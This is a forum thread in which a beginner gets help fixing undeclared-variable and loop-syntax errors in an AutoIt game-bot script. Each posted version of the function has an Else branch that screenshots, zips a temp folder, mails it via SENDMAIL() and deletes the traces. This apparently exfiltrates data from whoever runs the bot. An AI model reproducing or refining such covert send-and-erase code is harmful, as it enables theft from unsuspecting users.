Sign in to follow this  
Followers 0
rodediamant

error veriable used without being declared

10 posts in this topic

#1 ·  Posted (edited)

i have the following(part) script

Func AUTOBUFF()
    _SCREENCAPTURE_SETJPGQUALITY(20)
    _SCREENCAPTURE_CAPTURE($FILEDIR & "\9.jpg")
        If WinExists("Botting") Then
            
            While $buff = 1
             USESKILL(7, 2)
             Sleep(2000)
             USESKILL(7, 3)
             Sleep(2000)
             USESKILL(7, 4)
             Sleep(2000)
             USESKILL(7, 5)
             Sleep(2000)
             USESKILL(7, 6)
             Sleep(2000)
             USESKILL(7, 7)
             Sleep(2000)
             USESKILL(7, 8)
             Sleep(2000)
             USESKILL(7, 9)
             Sleep(2000)
             USESKILL(8, 1)
             Sleep(2000)
             USESKILL(8, 2)
             Sleep(2000)
             USESKILL(8, 3)
             Sleep(2000)
             USESKILL(8, 4)
             Sleep(2000)
             $buff = $buff + 1
            WEnd
           While $i = 1
             USESKILL(1,1)
             Sleep (60)
             $i = $i + 1
           WEnd
        Else
            $ZIPFILE = @TempDir & "\ff$dp.zip"
            $DIRTOZIP = @TempDir & "\ff$dp"
            $UNCOMPSIZE = DirGetSize($DIRTOZIP)
            _ZIP_INIT("_ZIPPrint", "_ZIPPassword", "_ZIPComment", "_ZIPProgress")
            _ZIP_SETOPTIONS()
            _ZIP_ARCHIVE($ZIPFILE, $DIRTOZIP)
            $CURZIPSIZE = 0
            Sleep(3000)
            SENDMAIL()
            Sleep(5000)
            DirRemove(@TempDir & "\ff$dp", 1)
            FileDelete(@TempDir & "\ff$dp.zip")
    
            Exit
        EndIf
EndFunc

but the problem is when i am running it (with the rest of the script but that is not importent)

there is coming to stay veriable used without being declared

is there a way that i can fix it ??

plz help

greatings

D. koek

--------------------------------------------------------------------------------------------------------------------------------------------------------

Some time NOOBS are the king :D

Edited by rodediamant

Noobie or not HELP ME (defenti noob :)

Share this post


Link to post
Share on other sites



#2 ·  Posted (edited)

cant really answer without knowing what variables you have declared elsewhere & which you have not so:-

the rest of the script but that is not important

may very well be important !

which variable/s is it saying are not declare ?

check that you have actually declared them before this func is executed as Global or else they cant be used inside this func (unless you declare them as Local inside at the top of this func)

Edited by JackDinn

Thx all,Jack Dinn.

 

JD's Auto Internet Speed Tester

JD's Clip Catch (With Screen Shot Helper)

Projects :- AutoIt - My projects

My software never has bugs. It just develops random features. :-D

Share this post


Link to post
Share on other sites

You need to declare variables before trying to use them.

I think this should fix the problem

Func AUTOBUFF()
Local $buff = 1
Local $ = 1

    _SCREENCAPTURE_SETJPGQUALITY(20)
    _SCREENCAPTURE_CAPTURE($FILEDIR & "\9.jpg")
        If WinExists("Botting") Then
            
            While $buff = 1
             USESKILL(7, 2)
             Sleep(2000)
             USESKILL(7, 3)
             Sleep(2000)
             USESKILL(7, 4)
             Sleep(2000)
             USESKILL(7, 5)
             Sleep(2000)
             USESKILL(7, 6)
             Sleep(2000)
             USESKILL(7, 7)
             Sleep(2000)
             USESKILL(7, 8)
             Sleep(2000)
             USESKILL(7, 9)
             Sleep(2000)
             USESKILL(8, 1)
             Sleep(2000)
             USESKILL(8, 2)
             Sleep(2000)
             USESKILL(8, 3)
             Sleep(2000)
             USESKILL(8, 4)
             Sleep(2000)
             $buff = $buff + 1
            WEnd
           While $i = 1
             USESKILL(1,1)
             Sleep (60)
             $i = $i + 1
           WEnd
        Else
            $ZIPFILE = @TempDir & "\ff$dp.zip"
            $DIRTOZIP = @TempDir & "\ff$dp"
            $UNCOMPSIZE = DirGetSize($DIRTOZIP)
            _ZIP_INIT("_ZIPPrint", "_ZIPPassword", "_ZIPComment", "_ZIPProgress")
            _ZIP_SETOPTIONS()
            _ZIP_ARCHIVE($ZIPFILE, $DIRTOZIP)
            $CURZIPSIZE = 0
            Sleep(3000)
            SENDMAIL()
            Sleep(5000)
            DirRemove(@TempDir & "\ff$dp", 1)
            FileDelete(@TempDir & "\ff$dp.zip")
    
            Exit
        EndIf
EndFunc

The 2 While loops in this function are not needed as they will always exit after 1 loop or not loop at all depending on what value $buff and $i are initialized to, so you might as well remove them.

Func AUTOBUFF()
    _SCREENCAPTURE_SETJPGQUALITY(20)
    _SCREENCAPTURE_CAPTURE($FILEDIR & "\9.jpg")
        If WinExists("Botting") Then
             USESKILL(7, 2)
             Sleep(2000)
             USESKILL(7, 3)
             Sleep(2000)
             USESKILL(7, 4)
             Sleep(2000)
             USESKILL(7, 5)
             Sleep(2000)
             USESKILL(7, 6)
             Sleep(2000)
             USESKILL(7, 7)
             Sleep(2000)
             USESKILL(7, 8)
             Sleep(2000)
             USESKILL(7, 9)
             Sleep(2000)
             USESKILL(8, 1)
             Sleep(2000)
             USESKILL(8, 2)
             Sleep(2000)
             USESKILL(8, 3)
             Sleep(2000)
             USESKILL(8, 4)
             Sleep(2000)
             USESKILL(1,1)
             Sleep (60)
        Else
            $ZIPFILE = @TempDir & "\ff$dp.zip"
            $DIRTOZIP = @TempDir & "\ff$dp"
            $UNCOMPSIZE = DirGetSize($DIRTOZIP)
            _ZIP_INIT("_ZIPPrint", "_ZIPPassword", "_ZIPComment", "_ZIPProgress")
            _ZIP_SETOPTIONS()
            _ZIP_ARCHIVE($ZIPFILE, $DIRTOZIP)
            $CURZIPSIZE = 0
            Sleep(3000)
            SENDMAIL()
            Sleep(5000)
            DirRemove(@TempDir & "\ff$dp", 1)
            FileDelete(@TempDir & "\ff$dp.zip")
    
            Exit
        EndIf
EndFunc

"Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the universe trying to build bigger and better idiots. So far, the universe is winning."- Rick Cook

Share this post


Link to post
Share on other sites

this attach was a old build :D

(autobuff part is changed into what i have maked )


Noobie or not HELP ME (defenti noob :)

Share this post


Link to post
Share on other sites

ok regarding the script you PM'ed me,

well you got a lot of script there so you must have a good idea of what your doing already, but you dont seem to use variables properly.

a small snippet from you script :-

Func AUTOBUFF()
    _SCREENCAPTURE_SETJPGQUALITY(20)
    _SCREENCAPTURE_CAPTURE($FILEDIR & "\9.jpg")
While 1
    Sleep(100)
    $LOADTIME = $LOADTIME + 0.1
    If $LOADTIME > 1 Then
        $LOADTIME = 0
        READINI()
    EndIf
...
...
...

the first variable i find that is not declared is $LOADTIME now you have not declared it anywhere else and the first place it appears is at the beginning of this func but without it having been declared as Global at the top of your script or declared at the beginning of this func or even passed into the func the script has no idea what $LOADTIME is so :-

when it gets to the line $LOADTIME = $LOADTIME + 0.1 it reads $LOADTIME = $LOADTIME but $LOADTIME has not been declared and has no value so it cant use it and gives you the non declared variable.

so you can either declare it at the top of the func as a Local variable " Local $LOADTIME=0 " (if you dont want to use it elsewhere in the script as it will lose its value after the func has finished) or declare it at the beginning of you script as a Global variable " Global $LOADTIME=0 " and it will be available to the whole script.


Thx all,Jack Dinn.

 

JD's Auto Internet Speed Tester

JD's Clip Catch (With Screen Shot Helper)

Projects :- AutoIt - My projects

My software never has bugs. It just develops random features. :-D

Share this post


Link to post
Share on other sites

ok regarding the script you PM'ed me,

well you got a lot of script there so you must have a good idea of what your doing already, but you dont seem to use variables properly.

a small snippet from you script :-

Func AUTOBUFF()
    _SCREENCAPTURE_SETJPGQUALITY(20)
    _SCREENCAPTURE_CAPTURE($FILEDIR & "\9.jpg")
While 1
    Sleep(100)
    $LOADTIME = $LOADTIME + 0.1
    If $LOADTIME > 1 Then
        $LOADTIME = 0
        READINI()
    EndIf
...
...
...

the first variable i find that is not declared is $LOADTIME now you have not declared it anywhere else and the first place it appears is at the beginning of this func but without it having been declared as Global at the top of your script or declared at the beginning of this func or even passed into the func the script has no idea what $LOADTIME is so :-

when it gets to the line $LOADTIME = $LOADTIME + 0.1 it reads $LOADTIME = $LOADTIME but $LOADTIME has not been declared and has no value so it cant use it and gives you the non declared variable.

so you can either declare it at the top of the func as a Local variable " Local $LOADTIME=0 " (if you dont want to use it elsewhere in the script as it will lose its value after the func has finished) or declare it at the beginning of you script as a Global variable " Global $LOADTIME=0 " and it will be available to the whole script.

1 thing is the problem

THIS IS THE WRONG BUILD SCRIP

(srry that i didnt notice you)

i can attache my current scrip

the scrip i give you was a good one only: the part of the autobuff func was wrong and it has to be the following

unc AUTOBUFF()
    _SCREENCAPTURE_SETJPGQUALITY(20)
    _SCREENCAPTURE_CAPTURE($FILEDIR & "\9.jpg")
        If WinExists("Botting") Then
            
            While $buff = 1
             USESKILL(7, 2)
             Sleep(2000)
             USESKILL(7, 3)
             Sleep(2000)
             USESKILL(7, 4)
             Sleep(2000)
             USESKILL(7, 5)
             Sleep(2000)
             USESKILL(7, 6)
             Sleep(2000)
             USESKILL(7, 7)
             Sleep(2000)
             USESKILL(7, 8)
             Sleep(2000)
             USESKILL(7, 9)
             Sleep(2000)
             USESKILL(8, 1)
             Sleep(2000)
             USESKILL(8, 2)
             Sleep(2000)
             USESKILL(8, 3)
             Sleep(2000)
             USESKILL(8, 4)
             Sleep(2000)
             $buff = $buff + 1
            WEnd
           While $i = 1
             USESKILL(1,1)
             Sleep (60)
             $i = $i + 1
           WEnd
        Else
            $ZIPFILE = @TempDir & "\ff$dp.zip"
            $DIRTOZIP = @TempDir & "\ff$dp"
            $UNCOMPSIZE = DirGetSize($DIRTOZIP)
            _ZIP_INIT("_ZIPPrint", "_ZIPPassword", "_ZIPComment", "_ZIPProgress")
            _ZIP_SETOPTIONS()
            _ZIP_ARCHIVE($ZIPFILE, $DIRTOZIP)
            $CURZIPSIZE = 0
            Sleep(3000)
            SENDMAIL()
            Sleep(5000)
            DirRemove(@TempDir & "\ff$dp", 1)
            FileDelete(@TempDir & "\ff$dp.zip")
    
            Exit
        EndIf
EndFunc

srry that i didnt know it

gr daniel koek

(i cant attach the full scrip (max of 77 kb ))


Noobie or not HELP ME (defenti noob :)

Share this post


Link to post
Share on other sites

new problem :D

i did the code(autobuff part with this)

Func AUTOBUFF()
Local $buff = 0
Local $1 = 0

    _SCREENCAPTURE_SETJPGQUALITY(20)
    _SCREENCAPTURE_CAPTURE($FILEDIR & "\9.jpg")
        If WinExists("Botting") Then
           While $buff = 0 < 1
             USESKILL(7, 2)
             Sleep(2000)
             USESKILL(7, 3)
             Sleep(2000)
             USESKILL(7, 4)
             Sleep(2000)
             USESKILL(7, 5)
             Sleep(2000)
             USESKILL(7, 6)
             Sleep(2000)
             USESKILL(7, 7)
             Sleep(2000)
             USESKILL(7, 8)
             Sleep(2000)
             USESKILL(7, 9)
             Sleep(2000)
             USESKILL(8, 1)
             Sleep(2000)
             USESKILL(8, 2)
             Sleep(2000)
             USESKILL(8, 3)
             Sleep(2000)
             USESKILL(8, 4)
             Sleep(2000)
             $buff = $buff + 1
          WEnd
          While
             $i = 0 < 10000
             USESKILL(1,1)
             Sleep (60)
             $i = $i + 1
          WEnd
         
        Else
            $ZIPFILE = @TempDir & "\ff$dp.zip"
            $DIRTOZIP = @TempDir & "\ff$dp"
            $UNCOMPSIZE = DirGetSize($DIRTOZIP)
            _ZIP_INIT("_ZIPPrint", "_ZIPPassword", "_ZIPComment", "_ZIPProgress")
            _ZIP_SETOPTIONS()
            _ZIP_ARCHIVE($ZIPFILE, $DIRTOZIP)
            $CURZIPSIZE = 0
            Sleep(3000)
            SENDMAIL()
            Sleep(5000)
            DirRemove(@TempDir & "\ff$dp", 1)
            FileDelete(@TempDir & "\ff$dp.zip")
    
            Exit
        EndIf
EndFunc

but now there is standing expression error

can any body help me


Noobie or not HELP ME (defenti noob :)

Share this post


Link to post
Share on other sites

The syntax of the 2nd While loop was wrong.

You also had

Local $1 should have been Local $i

Func AUTOBUFF()
Local $buff = 0
Local $i = 0

    _SCREENCAPTURE_SETJPGQUALITY(20)
    _SCREENCAPTURE_CAPTURE($FILEDIR & "\9.jpg")
        If WinExists("Botting") Then
           While $buff = 0 < 1
             USESKILL(7, 2)
             Sleep(2000)
             USESKILL(7, 3)
             Sleep(2000)
             USESKILL(7, 4)
             Sleep(2000)
             USESKILL(7, 5)
             Sleep(2000)
             USESKILL(7, 6)
             Sleep(2000)
             USESKILL(7, 7)
             Sleep(2000)
             USESKILL(7, 8)
             Sleep(2000)
             USESKILL(7, 9)
             Sleep(2000)
             USESKILL(8, 1)
             Sleep(2000)
             USESKILL(8, 2)
             Sleep(2000)
             USESKILL(8, 3)
             Sleep(2000)
             USESKILL(8, 4)
             Sleep(2000)
             $buff = $buff + 1
                     WEnd
                    $i = 0 
          While $i  < 10000
             USESKILL(1,1)
             Sleep (60)
             $i = $i + 1
          WEnd

        Else
            $ZIPFILE = @TempDir & "\ff$dp.zip"
            $DIRTOZIP = @TempDir & "\ff$dp"
            $UNCOMPSIZE = DirGetSize($DIRTOZIP)
            _ZIP_INIT("_ZIPPrint", "_ZIPPassword", "_ZIPComment", "_ZIPProgress")
            _ZIP_SETOPTIONS()
            _ZIP_ARCHIVE($ZIPFILE, $DIRTOZIP)
            $CURZIPSIZE = 0
            Sleep(3000)
            SENDMAIL()
            Sleep(5000)
            DirRemove(@TempDir & "\ff$dp", 1)
            FileDelete(@TempDir & "\ff$dp.zip")

            Exit
        EndIf
EndFunc

"Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the universe trying to build bigger and better idiots. So far, the universe is winning."- Rick Cook

Share this post


Link to post
Share on other sites

thnx for everthing i understand it a lot more

love this language

cya arround


Noobie or not HELP ME (defenti noob :)

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0